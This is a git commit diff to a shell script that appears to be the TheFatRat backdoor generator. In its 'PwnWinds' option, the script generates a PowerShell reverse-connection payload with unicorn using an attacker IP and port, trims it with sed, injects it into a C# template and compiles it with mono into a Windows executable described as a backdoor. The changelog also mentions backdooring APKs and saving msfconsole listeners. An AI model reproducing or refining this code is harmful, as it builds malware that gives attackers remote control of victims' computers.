patch
This commit is contained in:
parent
65094c335a
commit
020ecd498e
|
@ -1,5 +1,6 @@
|
||||||
## CHANGELOG
|
## CHANGELOG
|
||||||
|
|
||||||
|
* v1.9.2 - Fixed payload in pnwinds option2
|
||||||
* v1.9.2 - Implemented Stop functions in pnwinds
|
* v1.9.2 - Implemented Stop functions in pnwinds
|
||||||
* v1.9.2 - New signing process in old method backdoor apk & option to create listener
|
* v1.9.2 - New signing process in old method backdoor apk & option to create listener
|
||||||
* v1.9.2 - Implemented possibility for user to save msfconsole listeners
|
* v1.9.2 - Implemented possibility for user to save msfconsole listeners
|
||||||
|
|
56
fatrat
56
fatrat
|
@ -1950,7 +1950,7 @@ echo -e $okegreen ""
|
||||||
gboor
|
gboor
|
||||||
spinlong
|
spinlong
|
||||||
echo ""
|
echo ""
|
||||||
$pwned $payload $yourip $yourport
|
$pwned $payload $yourip $yourport > /dev/null 2>&1
|
||||||
echo ""
|
echo ""
|
||||||
echo ""
|
echo ""
|
||||||
power=$path/powershell_attack.txt
|
power=$path/powershell_attack.txt
|
||||||
|
@ -1963,24 +1963,42 @@ read -rsp $'Press any key to return to return to menu\n' -n 1 key
|
||||||
clear
|
clear
|
||||||
PwnWinds
|
PwnWinds
|
||||||
fi
|
fi
|
||||||
s0=$(cat powershell_attack.txt | cut -d ' ' -f1)
|
#Removing first 20 characters and last from payload
|
||||||
s1=$(cat powershell_attack.txt | cut -d ' ' -f2)
|
cuts=$(sed -r 's/^.{20}//' powershell_attack.txt)
|
||||||
s2=$(cat powershell_attack.txt | cut -d ' ' -f3)
|
echo $cuts > output/cuts.tmp
|
||||||
s3=$(cat powershell_attack.txt | cut -d ' ' -f4)
|
|
||||||
s4=$(cat powershell_attack.txt | cut -d ' ' -f5)
|
#Removing last character of payload
|
||||||
|
cuts1=$(sed '1 s/.$//' output/cuts.tmp)
|
||||||
sed s/PAYLOAD/$s0\ $s1\ $s2\ $s3\ $s4/g $B > $bcom
|
echo $cuts1 > output/cuts1.tmp
|
||||||
echo
|
cp $B $path/output/Program.cs
|
||||||
|
tgt=$path/output/Program.cs
|
||||||
|
pld=$(cat output/cuts1.tmp)
|
||||||
|
|
||||||
|
#Inserting Payload into Program.cs file
|
||||||
|
sed -i "s/PAYLOAD/$pld/g" $tgt
|
||||||
|
|
||||||
powerf=$path/output/Program.cs
|
powerf=$path/output/Program.cs
|
||||||
if [ ! -f "$powerf" ]
|
size=7
|
||||||
|
actualsize=$(du -k "$powerf" | cut -f 1)
|
||||||
|
if [ $actualsize -ge $size ]
|
||||||
then
|
then
|
||||||
echo -e $red ""
|
|
||||||
echo "Unable to find the output $power"
|
|
||||||
echo -e $okegreen ""
|
echo -e $okegreen ""
|
||||||
|
else
|
||||||
|
echo -e $red ""
|
||||||
|
echo "There was a problem inserting the payload into final file to be compiled
|
||||||
|
at $powerf "
|
||||||
|
echo ""
|
||||||
|
rm unicorn.rc powershell_attack.txt $bcom >/dev/null 2>&1
|
||||||
|
rm -rf $path/output/cuts.tmp >/dev/null 2>&1
|
||||||
|
rm -rf $path/output/cuts1.tmp >/dev/null 2>&1
|
||||||
read -rsp $'Press any key to return to return to menu\n' -n 1 key
|
read -rsp $'Press any key to return to return to menu\n' -n 1 key
|
||||||
clear
|
clear
|
||||||
PwnWinds
|
PwnWinds
|
||||||
fi
|
fi
|
||||||
|
echo -e $okegreen ""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
dmcs $bcom -o "output/$fira.exe" > /dev/null 2>&1
|
dmcs $bcom -o "output/$fira.exe" > /dev/null 2>&1
|
||||||
power=$path/output/$fira.exe
|
power=$path/output/$fira.exe
|
||||||
if [ ! -f "$power" ]
|
if [ ! -f "$power" ]
|
||||||
|
@ -1988,16 +2006,23 @@ power=$path/output/$fira.exe
|
||||||
echo -e $red ""
|
echo -e $red ""
|
||||||
echo "Unable to compile with mono $powerf into $power"
|
echo "Unable to compile with mono $powerf into $power"
|
||||||
echo -e $okegreen ""
|
echo -e $okegreen ""
|
||||||
|
rm unicorn.rc powershell_attack.txt $bcom >/dev/null 2>&1
|
||||||
|
rm -rf $path/output/cuts.tmp >/dev/null 2>&1
|
||||||
|
rm -rf $path/output/cuts1.tmp >/dev/null 2>&1
|
||||||
read -rsp $'Press any key to return to return to menu\n' -n 1 key
|
read -rsp $'Press any key to return to return to menu\n' -n 1 key
|
||||||
clear
|
clear
|
||||||
PwnWinds
|
PwnWinds
|
||||||
fi
|
fi
|
||||||
rm unicorn.rc powershell_attack.txt $bcom
|
rm unicorn.rc powershell_attack.txt $bcom >/dev/null 2>&1
|
||||||
|
rm -rf $path/output/cuts.tmp >/dev/null 2>&1
|
||||||
|
rm -rf $path/output/cuts1.tmp >/dev/null 2>&1
|
||||||
sleep 2
|
sleep 2
|
||||||
echo ""
|
echo ""
|
||||||
echo -e $okegreen""
|
echo -e $okegreen""
|
||||||
echo -e "Backdoor Saved To output Folder "
|
echo -e "Backdoor Saved To output Folder "
|
||||||
|
read -rsp $'Press any key to return to return to menu\n' -n 1 key
|
||||||
|
clear
|
||||||
|
PwnWinds
|
||||||
|
|
||||||
|
|
||||||
elif test $fatrat1 == '3' #Apachecompler
|
elif test $fatrat1 == '3' #Apachecompler
|
||||||
|
@ -2051,7 +2076,8 @@ fi
|
||||||
sleep 2
|
sleep 2
|
||||||
echo ""
|
echo ""
|
||||||
echo -e $okegreen""
|
echo -e $okegreen""
|
||||||
echo -e " Backdoor Saved To output Folder "
|
rm -rf $path/output/Program.cs >/dev/null 2>&1
|
||||||
|
echo -e $okegreen " Backdoor Saved To output Folder "
|
||||||
echo ""
|
echo ""
|
||||||
echo -ne " Press any key to continue ......... "
|
echo -ne " Press any key to continue ......... "
|
||||||
read continue
|
read continue
|
||||||
|
|
Loading…
Reference in New Issue